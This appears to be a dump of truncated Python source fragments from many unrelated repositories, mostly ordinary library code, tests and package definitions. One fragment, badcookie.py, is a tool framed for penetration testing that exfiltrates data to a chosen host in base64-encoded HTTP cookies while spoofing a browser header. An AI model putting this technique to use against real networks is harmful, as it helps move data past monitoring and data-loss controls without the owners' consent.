# coding=utf-8 # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import absolute_import, division, print_function, unicode_literals import ast import os from builtins import object from distutils import sysconfig from pa...
from name import tuple AST representations: ImportFrom: module=name names=[alias(name, asname), ...] name can be '*' Import: names=[alias(name, asname), ...] Imports are classified int
o 5 classes: stdlib => Python standard library twitter.* => Twitter internal / standard library gen.* => Thrift gen namespaces .* => Package-local imports 3rdparty => site-packages or third party classify_imports classifies the import into one of t...
maltonx/workforce
views.py
Python
mit
7,037
0.014353
from frontend import app from flask import render_template from flask import send_from_directory from flask import request from flask import redirect from flask import url_for from flask import flash from flask import abort import os import models import forms from wtfpeewee.orm import model_form @app.r...
alse form = modelForm(obj = entry) if request.method == 'POST': if request.form['submit'] == 'Save': form = modelForm(request.values, obj = entry) if form.validate(): form.populate_obj(entry) entry.save() if action =...
e = model, entryid = kwargs['foreign_key'])) flash('Your entry has been saved') print 'saved' elif request.form['submit'] == 'Delete': try: model.get(model.id == int(entryid)).delete_instance(recursive = True) #redirect(url_for('a...
stefanhahmann/pybossa
test/test_jobs/test_import_tasks.py
Python
agpl-3.0
3,473
0.001728
# -*- coding: utf8 -*- # This file is part of PyBossa. # # Copyright (C) 2014 SF Isle of Man Limited # # PyBossa is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at...
] for job in jobs_generator: jobs.a
ppend(job) msg = "There should be 0 jobs." assert len(jobs) == 0, msg
mhils/countershape
test/test_model.py
Python
mit
13,305
0.001879
import os from countershape import model from countershape import state from countershape import widgets from . import testpages, tutils class TestContext(testpages.DummyState): def setUp(self): testpages.DummyState.setUp(self) def tearDown(self): testpages.DummyState.tearDown(self) def ...
assert p.relativePath([""]) == "" assert p.relativePath(["foo", "bar"]) == "foo/bar" assert p.absolutePath() == "foo" def test_top(self): assert not self.application.getPage(os.path.join("foo","bar")) class TestPageInstantiate
(testpages.DummyState): def test_instantiate_err(self): self.application.testing = False tutils.raises("instantiated during page call", model.BasePage) class TestHeader(testpages.DummyState): def test_path(self): h = model.Header(state.page) h.path("foo.css") h.path("ba...
HarmonyEnterpriseSolutions/harmony-platform
src/gnue/forms/uidrivers/java/widgets/menu.py
Python
gpl-2.0
4,060
0.020936
# GNU Enterprise Forms - wx 2.6 UI Driver - Menu widget # # Copyright 2001-2007 Free Software Foundation # # This file is part of GNU Enterprise # # GNU Enterprise is free software; you can redistribute it # and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundatio...
----------------
----------- def __init__(self, event): UIWidget.__init__(self, event) # ------------------------------------------------------------------------- # Create a menu widget # ------------------------------------------------------------------------- def _create_widget_(self, event): """ Creates a new Menu widg...
MikeRixWolfe/projecteuler
e003.py
Python
gpl-3.0
424
0.007075
def
is_prime(n): for j in xrange(3, long(n**.5)+1, 2): if n%j == 0 or n%2 == 0: return False return True def lpf(n): for i in xrange(3, long(n**.5)+1, 2): if n%i == 0: if is_prime(i): s = i return s if __name__ == "__main__": from time import ...
rs2/pandas
pandas/tests/series/methods/test_round.py
Python
bsd-3-clause
2,273
0.00044
import numpy as np import pytest
import pandas as pd from pandas import Series
import pandas._testing as tm class TestSeriesRound: def test_round(self, datetime_series): datetime_series.index.name = "index_name" result = datetime_series.round(2) expected = Series( np.round(datetime_series.values, 2), index=datetime_series.index, name="ts" ) ...
nimbis/django-cms
setup.py
Python
bsd-3-clause
1,639
0.00061
from setuptools import setup, find_packages import os import cms CLASSIFIERS = [ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independ...
=0.7.2', 'django-formtools>=1.0', 'django-treebeard>=4.0.1', 'django-sekizai>=0.7', 'djangocms-admin-style>=1.0', ] setup( author='Patrick Lauber', author_email='digi@treepy.
com', name='django-cms', version=cms.__version__+"+nimbis.1", description='An Advanced Django CMS', long_description=open(os.path.join(os.path.dirname(__file__), 'README.rst')).read(), url='https://www.django-cms.org/', license='BSD License', platforms=['OS Independent'], classifiers=CLA...
garbersc/keras-galaxies
try_convnet_keras_x_cats.py
Python
bsd-3-clause
10,142
0.000493
import theano.sandbox.cuda.basic_ops as sbcuda import numpy as np import load_data import realtime_augmentation as ra import time import sys import os import json from custom_for_keras import input_generator from datetime import datetime, timedelta from custom_keras_model_x_cat import kaggle_x_cat from keras.optimizers...
lysis = True saveAtEveryValidation = True # FIXME reloading existing classweights seems not to work use_class_weights = True import_conv_weights = False # only relevant if not continued and not gets winsol weights, see http://ar
xiv.org/abs/1511.06422 for # describtion # for this to work, the batch size has to be something like 128, 256, 512, # ... reason not found DO_LSUV_INIT = True BATCH_SIZE = 256 # keep in mind NUM_INPUT_FEATURES = 3 MOMENTUM = 0.9 WEIGHT_DECAY = 0.0 EPOCHS = 100 VALIDATE_EVERY = 5 # 20 # 12 # 6 # 6 # 6 # 5 # INCLUD...
rspavel/spack
var/spack/repos/builtin/packages/r-msnbase/package.py
Python
lgpl-2.1
2,696
0.000371
# Cop
yright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2
.0 OR MIT) from spack import * class RMsnbase(RPackage): """Base Functions and Classes for Mass Spectrometry and Proteomics. MSnbase provides infrastructure for manipulation, processing and visualisation of mass spectrometry and proteomics data, ranging from raw to quantitative and annotate...
apache/allura
Allura/allura/model/repo_refresh.py
Python
apache-2.0
11,877
0.000758
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (t...
l commit ID link1 = Shortlink( _id=bson.ObjectId(), ref_id=index_id, project_id=repo.app.config.project_id,
app_config_id=repo.app.config._id, link=oid, url=repo.url_for_commit(oid)) ci.m.save(validate=False) # set to 'dirty' to force save() to be used instead of insert() (which errors if doc exists in db already) state(ref).status = ObjectState.dirty ...
YilunZhou/Klampt
Python/klampt/math/so3.py
Python
bsd-3-clause
11,505
0.02512
"""Operations for rigid rotations in Klampt. All rotations are represented by a 9-list specifying the entries of the rotation matrix in column major form. In other words, given a 3x3 matrix [a11,a12,a13] [a21,a22,a23] [a31,a32,a33], Klamp't represents the matrix as a list [a11,a21,a31,a12,a22,a32,a13,a23,a33...
= (R[6+0]-R[0+2]) * scale; z = (R[0+1]-R[3+0]) * scale; return [x,y,z] def axis_angle(R): """Returns the (axis,angle) pair representing R""" m = moment(R) return (vectorops.unit(m),vectorops.norm(m)
) def from_axis_angle(aa): """Converts an axis-angle representation (axis,angle) to a 3D rotation matrix.""" return rotation(aa[0],aa[1]) def from_moment(w): """Converts a moment representation w to a 3D rotation matrix.""" length = vectorops.norm(w) if length < 1e-7: return identity() ret...
asedunov/intellij-community
python/testData/postfix/print/number3_after.py
Python
apache-2.0
15
0.2
prin
t(1)<caret>
zxt/python-whatpulse
tests.py
Python
mit
2,655
0.000377
import unittest import urllib2 import socket import whatpulse class UserTestCase(unittest.TestCase): def setUp(self): self.api = whatpulse.API()
def test_get_user_by_id(self): results = self.api.get_user(1) self.assertTrue(len(results)) def test_get_user_by_username(self): results = self.api.get_user('smitmartijn') self.assertTrue(len(results)) def test_
get_invalid_user_id(self): results = self.api.get_user(-1) self.assertFalse(len(results)) class TeamTestCase(unittest.TestCase): def setUp(self): self.api = whatpulse.API() def test_get_team_by_id(self): results = self.api.get_team(12986) self.assertTrue(len(results)) ...
pappasam/latexbuild
tests/test_utils.py
Python
mit
4,066
0.002213
import unittest import os from latexbuild.utils import ( random_str_uuid, random_name_filepath, list_filepathes_with_predicate, read_file, recursive_apply, ) PATH_FILE = os.path.abspath(__file__) PATH_TEST = os.path.dirname(PATH_FILE) class TestRandomStrUuid(unittest.Te...
l = 7 v1, v2 = random_str_uuid(l), random_str_uuid(l) self.assertNotEqual(v1, v2) def test_below_1(self): self.assertEqual(1, len(random_str_uuid(1)))
self.assertRaises(ValueError, random_str_uuid, 0) def test_above_32(self): self.assertEqual(32, len(random_str_uuid(32))) self.assertRaises(ValueError, random_str_uuid, 33) class TestRandomNameFilepath(unittest.TestCase): '''Test class for random_name_filepath''' PATH = "/hello/worl...
afenkart/gcompris-devel
src/guessnumber-activity/guessnumber.py
Python
gpl-2.0
10,736
0.015089
# gcompris - guessnumber # # Copyright (C) 2005, 2008 Bruno Coudoin / Clement Coudoin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your op...
props.visibility = goocanvas.ITEM_VISIBLE # When the bonus
is displayed, it call us first with pause(1) and then with pause(0) # the game is won if(pause == 0 and self.gamewon): self.increment_level() self.gamewon = 0 self.cleanup_game() self.display_game() return def set_level(self, level): self.gcomprisBoard.level=level; sel...
qedsoftware/commcare-hq
corehq/ex-submodules/casexml/apps/phone/tests/test_index_tree.py
Python
bsd-3-clause
20,719
0.002027
from django.test import SimpleTestCase, override_settings from casexml.apps.phone.models import IndexTree, SimplifiedSyncLog class TestExtendedFootprint(SimpleTestCase): def test_simple_linear_structure(self): [grandparent_id, parent_id, child_id] = all_cases = ['grandparent', 'parent', 'child'] ...
_to_dict([host_id]), extension_id_2: convert_list_to_dict([extension_id]), extension_id_3: convert_list_to_dict([extension_id_2]), }) child_tree = IndexTree() extension_dependencies = IndexTree.get_all_dependencies(extension_id, child_tree, extension_tree) self.as...
host_dependencies = IndexTree.get_all_dependencies(host_id, child_tree, extension_tree) self.assertEqual(set(all_ids), host_dependencies) def test_child_and_extension(self): """ +---+ +---+ | C +--c--->| H | +-+-+ +-+-+ ^ ^ |e ...
kingvuplus/ts-gui-3
lib/python/Components/RecordingConfig.py
Python
gpl-2.0
1,013
0.035538
from config import ConfigNumber, ConfigYesNo, ConfigSubsection, ConfigSelection, config def InitRecordingConfig(): config.recording = ConfigSubsection(); # actually this is "recordings always have priority". "Yes" does mean: don't ask. The RecordTimer will ask when value is 0. config.recording.asktozap = ConfigYesN...
cii_filenames = ConfigYesNo(default = False) config.recording.keep_timers = ConfigNumber(default=7) config.recording.filename_composition = ConfigSelection(default = "standard", choices = [ ("standard", _("standard")), ("short", _("Short filenames")), ("long", _("Long filenames")) ] ) config.recording.always_e...
(default = 1000)
interlegis/sigi
sigi/apps/servicos/migrations/0008_auto_20210519_1117.py
Python
gpl-2.0
2,103
0.001902
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('servicos', '0007_auto_20210416_0841'), ] operations = [ migrations.AlterField( model_name='servico', ...
field=models.CharField(max_length=1, verbose_name='modo de presta\xe7\xe3o do servi\xe7o', choices=[(b'H', 'Hospedagem'), (b'R',
'Registro')]), preserve_default=True, ), migrations.AlterField( model_name='tiposervico', name='nome', field=models.CharField(max_length=60, verbose_name='nome'), preserve_default=True, ), migrations.AlterField( mod...
marcinn/django-cart
cart/models.py
Python
mit
2,668
0.004498
from django.db import models from django.db.models import Sum from django.utils.translation import ugettext_lazy as _ from django.contrib.contenttypes.models import ContentType from django.contrib.contenttypes import generic class Cart(models.Model): creation_date = models.DateTimeField(verbose_name=_('creation da...
e', 'quantity')]) or 0 class ItemManager(models.Manager): def get(self, *args, **kwargs): if 'product' in kwargs: kwargs['content_type'] = ContentType.objects.get_for_model(type(kwargs['product'])) kwargs['object_id'] = kwargs['pro
duct'].pk del(kwargs['product']) return super(ItemManager, self).get(*args, **kwargs) class Item(models.Model): cart = models.ForeignKey(Cart, verbose_name=_('cart')) quantity = models.PositiveIntegerField(verbose_name=_('quantity')) unit_price = models.DecimalField(max_digits=18, decim...
vga101/gaiasky
assets/scripts/tests/refsys-conversion-test.py
Python
mpl-2.0
3,032
0.001649
# This script tests the various coordinate conversion utilities in the scripting API. To be run asynchronously. # Created by Toni Sagrista from gaia.cu9.ari.gaiaorbit.script import EventScriptingInterface from gaia.cu9.ari.gaiaorbit.util import GlobalConf gs = EventScriptingInterface.instance() gs.disableInput() gs....
bject(0, "Galactic coordinates test", text_x, text_y, 0.3, 0.3, 1.0, 1.0, text_size) # Enable equatorial grid gs.setVisibility("element.galactic", True) gs.sleep(1.5) # Go to north equatorial pole, looking down on the Sun eqxyz = gs.galacticToInternalCartesian(0, 90, 8 * au_to_km) gs.setCameraPosition(eqxyz) # Sleep ...
l plane eqxyz = gs.galacticToInternalCartesian(90, 0, 8 * au_to_km) gs.setCameraPosition(eqxyz) # Sleep gs.sleep(3.0) gs.removeObject(0) # Disable equatorial grid gs.setVisibility("element.galactic", False) gs.sleep(1.5)
shashi792/courtlistener
alert/search/search_indexes.py
Python
agpl-3.0
4,089
0.001712
from datetime import datetime from datetime import time from django.core.urlresolvers import NoReverseMatch from django.template import Context from django.template import loader from alert.opinion_page.views import make_citation_string class InvalidDocumentError(Exception): """The document could not be formed"""...
'object': item}) self.text = '%s %s' % (text_template.render(c).translate(null_map), self.caseNumber) # Fac
eting fields self.status_exact = item.get_precedential_status_display() self.court_exact = item.docket.court.pk class SearchAudioFile(object): def __init__(self, item): self.id = item.pk self.docket = item.docket_id if item.date_argued is not None: self.dateArgu...
andrebellafronte/stoq
stoqlib/api.py
Python
gpl-2.0
8,524
0.001994
# -*- coding: utf-8 -*- # vi:si:et:sw=4:sts=4:ts=4 ## ## Copyright (C) 2011-2012 Async Open Source ## ## This program is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public License ## as published by the Free Software Foundation; either version 2 ## of the Licens...
urns a value, you need to use :py:func:`~stoqlib.api.StoqAPI.asyncReturn`, eg:: api.asyncReturn(model) :returns: a generator """ return inlineCallbacks def asyncReturn(self, value=None): """An async API that also returns a value, see :py:func:`~stoqlib.a...
lue: the return value, defaults to None :returns: a twisted deferred """ return returnValue(value) def get_l10n_field(self, field_name, country=None): return get_l10n_field(field_name, country=country) def for_combo(self, resultset, attr=None, empty=None, sorted=True): ...
jcsp/manila
manila/api/views/scheduler_stats.py
Python
apache-2.0
1,818
0
# Copyright (c) 2014 eBay Inc. # Copyright (c) 2015 Rushil Chugh # Copyright (c) 2015 Clinton Knight # All Rights Res
erved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwa...
# License for the specific language governing permissions and limitations # under the License. from manila.api import common class ViewBuilder(common.ViewBuilder): """Model scheduler-stats API responses as a python dictionary.""" _collection_name = "scheduler-stats" def pool_summary(self, pool):...
bmun/huxley
huxley/logging/mail.py
Python
bsd-3-clause
1,598
0.001877
# Copyright (c) 2011-2022 Berkeley Model United Nations. All rights reserved. # Use of this source code is governed by a BSD License (see LICENSE). import json, logging, sys, traceback from django.core.mail.backends import dummy, smtp from django.db import transaction from smtplib import SMTPException class DevLog...
'message': exc_traceback, 'uri': ', '.join(email.to), 'status_code': 500, 'username': ''}) logger.exception(log) def log_email(email): logger = logging.getLogger('huxley.api') recipients = ', '.joi...
ts, 'status_code': 0, 'username': ''}) logger.info(log)
juanique/django-chocolate
test_project/test_project/settings.py
Python
bsd-3-clause
5,101
0.001372
# Django settings for test_project project. DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', 'your_email@example.com'), ) MANAGERS = ADMINS DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'. 'NAME': '...
ng for # more details on how
to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'mail_admins': { 'level': 'ERROR', 'fi...
nikhila05/MicroSite
pages/migrations/0002_simplecontact.py
Python
gpl-2.0
849
0.001178
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('pages', '0001_initial'), ] operations = [ migrations.CreateModel
( name='simplecontact', fields=[ ('id'
, models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('full_name', models.CharField(max_length=100)), ('message', models.TextField()), ('email', models.EmailField(max_length=75)), ('phone', models.IntegerField(null=...
sephiroth6/nodeshot
nodeshot/networking/links/models/choices.py
Python
gpl-3.0
388
0
LINK_STATUS = { 'archived': -3, 'disconnected': -2, 'down': -1, 'planned': 0, 'testing': 1, 'active': 2 } LINK_TYPES
= { 'radio': 1, 'ethernet': 2, 'fiber': 3, 'other_wired': 4, 'virtual': 5 } # TODO: pheraphs this would be better to make it customizable from settings METRIC_TYPES = { 'ETX': 'etx', 'ETC': 'e
tc', 'HOP': 'hop' }
pawkoz/dyplom
blender/doc/python_api/examples/bpy.ops.1.py
Python
gpl-2.0
640
0.001563
""" Overriding Context ------------------ It is possible to override context members that the operator sees, so that they act on specified rather t
han the selected or active data, or to execute an operator in the different part of the user interface. The context overrides are passed as a dictionar
y, with keys matching the context member names in bpy.context. For example to override ``bpy.context.active_object``, you would pass ``{'active_object': object}``. """ # remove all objects in scene rather than the selected ones import bpy override = {'selected_bases': list(bpy.context.scene.object_bases)} bpy.ops.obje...
start-jsk/jsk_apc
jsk_apc2016_common/setup.py
Python
bsd-3-clause
232
0
#!/usr/bin/env python from distutils.core
import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['jsk_apc2016_common'], package_dir={'': 'python'}, ) se
tup(**d)
wichmann/pyPardy
setup.py
Python
gpl-2.0
1,810
0.007735
#! /usr/bin/env python3 import sys from cx_Freeze import setup, Executable # Dependencies are automatically detected, but it might need fine tuning. includefiles = ['windows/libusb-1.0.dll', ('icons/buzzer.png', 'icons/buzzer.png'), 'README.md', 'LICENSE', ...
les = [ Executable('pyPardy.py', base=base), Executable('pyPardyEdit.py', base=base) ] setup( name='pyPardy', #long_description='', keywords='game jeopardy', version='0.2', author='Christian Wichmann', author_email
='christian@freenono.org', packages=['data', 'gui'], url='', license='LICENSE', description='Jeopardy(tm) game system', platforms=['any'], classifiers=[ 'Intended Audience :: End Users/Desktop', 'Development Status :: 4 - Beta', 'License :: OSI Approved :: GNU General Public License ...
kralf/morsel
python/lib/morsel/nodes/ode/joints/angular_motor.py
Python
gpl-2.0
7,677
0.02501
from morsel.panda import * from morsel.math import * from morsel.nodes.facade import Mesh from morsel.nodes.ode.joint import Joint #------------------------------------------------------------------------------- class AngularMotor(Joint): USER = 0 EULER = 1 def __init__(self, axes = [[1, 0, 0], [0, 1, 0], [0...
.setParamBounce(i, bouncyness[i]) bouncyness = property(getBouncyness, setBouncyness) #------------------------------------------------------------------------------- def getCFM(self): cfm = [0]*self._joint.getNumAxes() for i in range(self._joint.getNumAxes()): cfm[i] = self._joint.get...
e(self._joint.getNumAxes()): self._joint.setParamCFM(i, cfm[i]) cfm = property(getCFM, setCFM) #------------------------------------------------------------------------------- def getStopERP(self): stopERP = [0]*self._joint.getNumAxes() for i in range(self._joint.getNumAxes()): s...
DeepThoughtTeam/tensorflow
tensorflow/python/training/input_test.py
Python
apache-2.0
20,244
0.013831
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
self.assertLess(value, expected_frequency + margin) # Reached the limit. with self.assertRaises(tf.errors.OutOfRangeError): dequeue.eval() for thread in threads: thread.join() def testNullStringPython(self): # Graph-construction time check for empty string list: with s...
ion(): with self.assertRaises(ValueError): _ = tf.train.string_input_producer([]) def testNullString(self): # Runtime check for empty string list. This is slightly oblique: # The queue runner should die with an assertion error on the null # input tensor, causing the dequeue to fail with an...
dmlc/tvm
tests/python/contrib/test_ethosn/test_relu.py
Python
apache-2.0
2,921
0.000685
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
rning permissions and limitations # under the License. """Arm(R) Ethos(TM)-N integration relu tests""" import numpy as np impor
t pytest import tvm from tvm import relay from tvm.testing import requires_ethosn from . import infrastructure as tei def _get_model(shape, dtype, a_min, a_max): assert a_min >= np.iinfo(dtype).min and a_max <= np.iinfo(dtype).max a = relay.var("a", shape=shape, dtype=dtype) relu = relay.clip(a, a_min=a_m...
antoinecarme/pyaf
tests/artificial/transf_None/trend_ConstantTrend/cycle_12/ar_12/test_artificial_32_None_ConstantTrend_12_12_100.py
Python
bsd-3-clause
265
0.086792
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.pr
ocess_dataset(N = 32 , FREQ = 'D', seed = 0, t
rendtype = "ConstantTrend", cycle_length = 12, transform = "None", sigma = 0.0, exog_count = 100, ar_order = 12);
jgraef/pycann
setup.py
Python
lgpl-3.0
287
0.048951
from distutils.core import s
etup setup(name = "pycann", version = "0.01", description = "A Python/C hybrid
for fast neural networks", author = "Janosch Gräf", author_email = "janosch.graef@gmx.net", py_modules = ["pycann"], license = "GNU LGPL v3")
Zerknechterer/pyload
module/plugins/hooks/ZeveraComHook.py
Python
gpl-3.0
1,128
0.025709
# -*- coding: utf-8 -*- from module.plugins.internal.MultiHook import MultiHook class ZeveraComHook(MultiHook): __name__ = "ZeveraComHoo
k" __type__ = "hook" __version__ = "0.05" __config__ = [("pluginmode" , "all;listed;unlisted", "Use for plugins" , "all"), ("pluginlist" , "str" , "Plugin list (comma separated)"
, "" ), ("revertfailed" , "bool" , "Revert to standard download if fails", True ), ("reload" , "bool" , "Reload plugin list" , True ), ("reloadinterval", "int" , "Reload interval in hours" ...
Nelayah/blogCMS
dairy/views.py
Python
gpl-3.0
763
0.018349
from django.http import HttpResponsePermanentRedirect from dairy.models import Dairy from dairy.serializers import DairyListSerializer, DairyDetailSerializer from dairy.permissions import DairyPermission from rest_framework import
viewsets from rest_framework.response import Response class DairyViewSet(viewsets.ModelViewSet): queryset = Dairy.objects.all() serializer_class = DairyDetailSerializ
er permission_classes = (DairyPermission,) lookup_field = 'pk' def get_serializer_class(self): if self.action == 'list': return DairyListSerializer return DairyDetailSerializer def dairyList_redirect(request, *args, **kwargs): offset = (int(kwargs['pk']) - 1) * 5 return HttpResponsePermanentRedirect("/api...
BillBillBillBill/WishTalk-server
WishTalk/api/like.py
Python
mit
2,019
0.003621
# -*- coding: utf-8 -*- from util.token import token_required from server import db from api import api, GlobalError, ERROR_
LIKE from model.wish import Wish, WishLike from flask import abort from sqlalchemy.exc import IntegrityError from util.jsonResponse import jsonSuccess, jsonError ''' 重要提示:Model的设计中,需要确保每个Like的类的backref的名称为likers! 每完成一个Like Model,需要往下方的字典添加响应类名 ''' ALLOW_RESOURCE = { 'wish': [Wish, WishLike] } class LikeError: ...
= { 'err': ERROR_LIKE + 1, 'msg': 'Has Liked' } NOT_LIKED = { 'err': ERROR_LIKE + 2, 'msg': 'Not Liked' } @api.route('/<string:resource_name>/like/<int:target_id>', methods=['POST']) @token_required def like(current_user, resource_name=None, target_id=None): if not...
Emercoin/emcweb
engine/emcweb/login/views/login.py
Python
gpl-3.0
4,001
0.00075
# -*- coding: utf-8 -*- from __future__ import unicode_literals import datetime from hashlib import md5 from flask import (redirect, url_for, request, abort, session, current_app, make_response, flash) from flask_login import login_user from ..models import Credentials, Users fr...
if isinstance
(v, list): value = v[0] else: value = v error_str = error_str + '%s: %s, ' % (form[k].label.text, value) flash(error_str, 'danger') else: flash('Error creating user', 'danger') return redirect(url_for('emcweb.index'))
sahat/bokeh
versioneer.py
Python
bsd-3-clause
25,525
0.001724
#! /usr/bin/python """versioneer.py (like a rocketeer, but for versions) * https://github.com/warner/python-versioneer * Brian Warner * License: Public Domain * Version: 0.7+ This file helps distutils-based projects manage their version number by just creating version-control tags. For developers who work from a V...
p instead. This function is not # used from _version.py. variables = {} try: for line in open(versionfile_source,"r").readlines(): if line.strip().startswith("git_refnames ="): mo = re.search(r'=\s*"(.*)"', line) if mo: variables["refna...
bles["full"] = mo.group(1) except EnvironmentError: pass return variables def versions_from_expanded_variables(variables, tag_prefix, verbose=False): refnames = variables["refnames"].strip() if refnames.startswith("$Format"): if verbose: print("variables are unexpanded, not ...
pchavanne/dl
tests/test_layers.py
Python
mit
17,957
0.000835
# -*- coding: UTF-8 -*- import pytest from mock import MagicMock as mock import numpy as np from numpy.testing import assert_allclose class TestLayer: @pytest.fixture def layer(self): from yadll.layers import Layer return Layer(mock()) @pytest.fixture def layer2(self): from ya...
self, layer): assert layer.input_shape == layer.input_layer.output_shape def test_get_params(self, layer): assert layer.get_params() == [] def test_get_reguls(self, layer): assert l
ayer.get_reguls() == 0 def test_named_layer(self, named_layer): assert named_layer.name == 'layer_name' def test_unnamed_layer(self, layer): from yadll.layers import Layer assert layer.name == 'Layer ' + str(Layer.n_instances) def test_get_output(self, layer): with pytest....
mambocab/python-driver
tests/unit/test_exception.py
Python
apache-2.0
2,365
0.004228
# Copyright DataStax, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwa...
NY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. try: import unittest2 as unittest except ImportError: import unittest from cassandra import Unavailable, Timeout, ConsistencyLevel import re class ConsistencyExceptionTe...
sg): """ Given message that has 'consistency': 'value', extract consistency value as a string :param msg: message with consistency value :return: String representing consistency value """ match = re.search("'consistency':\s+'([\w\s]+)'", msg) return match and matc...
akbarq/badcookie
badcookie.py
Python
gpl-2.0
1,346
0.004458
#!/usr/bin/python import sys import base64 import requests print """ ################################################################# # Description: Exfiltrates data via base64 encoded HTTP cookies # # Use Case: Penetration testing e.g. testing DLP systems etc # # Author: Akbar Qureshi # ######################...
3: print 'Usage: badcookie.py <destination_host> <exfiltrated_data>' print '\nExample(1): badcookie.py 10.0.0.2 "very important data"' print 'Example(2): badcookie.py www.secretsite.com "very importa
nt data"' print '\n' sys.exit(1) try: # Spoofing Internet Explorer Header url = 'http://%s' % sys.argv[1] headers = { 'Accept': 'text/html, application/xhtml+xml, */*', 'Accept-Language': 'en-US', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; :11....
kumarisneha/practice_repo
techgig/techgig_fibonacci_series.py
Python
mit
186
0.064516
def main(): n=int
(raw_input()) f1=0 f2=1 print f1,
f2, for i in range(2,n): temp=f1 f1=f2 f2=f1+temp print f2, main()
brchiu/tensorflow
tensorflow/python/kernel_tests/scatter_ops_test.py
Python
apache-2.0
11,256
0.00924
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
s.scatter_update: _NumpyUpdateScalar, state_ops.scatter_add: _NumpyAddScalar, state_ops.scatter_sub: _NumpySubScalar, state_ops.scatter_mul: _NumpyMulScalar, state_ops.scatter_div: _NumpyD
ivScalar, state_ops.scatter_min: _NumpyMinScalar, state_ops.scatter_max: _NumpyMaxScalar, } class ScatterTest(test.TestCase): def _VariableRankTest(self, tf_scatter, vtype, itype, repeat_indices=False, ...
LLNL/spack
var/spack/repos/builtin/packages/dhpmm-f/package.py
Python
lgpl-2.1
2,254
0.001331
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class DhpmmF(MakefilePackage): """DHPMM_P:High-precision Matrix Multiplication with Faithful Rou...
(math_libs.ld_flags)) elif self.spec.satisfies('%fj'): makefile.filter(r'^#ENV\s+=\sFX100', 'ENV=FX100') makefile.filter(r'^ENV\s+=\sGCC', '#ENV=GCC') makefile.filter(r'^MKL\s+=\s1', 'MKL=0') makefile.filter(r'^CC\s+=\sfccpx', 'CC={0}'....
'CXX={0}'.format(spack_cxx)) makefile.filter(r'^BLASLIBS\s+=\s-llapack\s-lblas', 'BLASLIBS={0}'.format(math_libs.ld_flags)) elif self.spec.satisfies('%intel'): makefile.filter(r'^ENV\s+=\sGCC', '#ENV=GCC') makefile.filt...
nederhoed/django-mollie-ideal
mollie/ideal/settings.py
Python
bsd-3-clause
1,003
0.003988
#-*- coding: utf-8 -*- from django.conf import settings MOLLIE_API_URL = 'https://secure.mollie.nl/xml/ideal' MOLLIE_BANKLIST_DIR = getattr(settings, 'MOLLIE_BANKLIST_DIR', '/var/tmp') MOLLIE_BTW = getattr(settings, 'MOLLIE_BTW', 19) # A range of logos and buttons can be found at http://www.mollie.nl/support/klanten/...
ttr(settings, 'MOLLIE_TIMEOUT', 10) MOLLIE_PROFILE_KEY = getattr(settings, 'MOLLIE_PROFILE_KEY', None) MOLLIE_REVERSE_URLS = getattr(settings, 'MOLLIE_REVERSE_URLS',
False) # todo: implement django.contrib.sites usage instead of str concatenation MOLLIE_SITE_FULL_URL = getattr(settings, 'MOLLIE_SITE_FULL_URL', 'http://www.example.com')
googleapis/python-aiplatform
google/cloud/aiplatform_v1/types/featurestore_service.py
Python
apache-2.0
56,061
0.000767
# -*- coding: utf-8 -*- # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
to retrieve the next page. If this field is omitted, there are no subsequent pages. """ @property def raw_page(self): return self featurestore
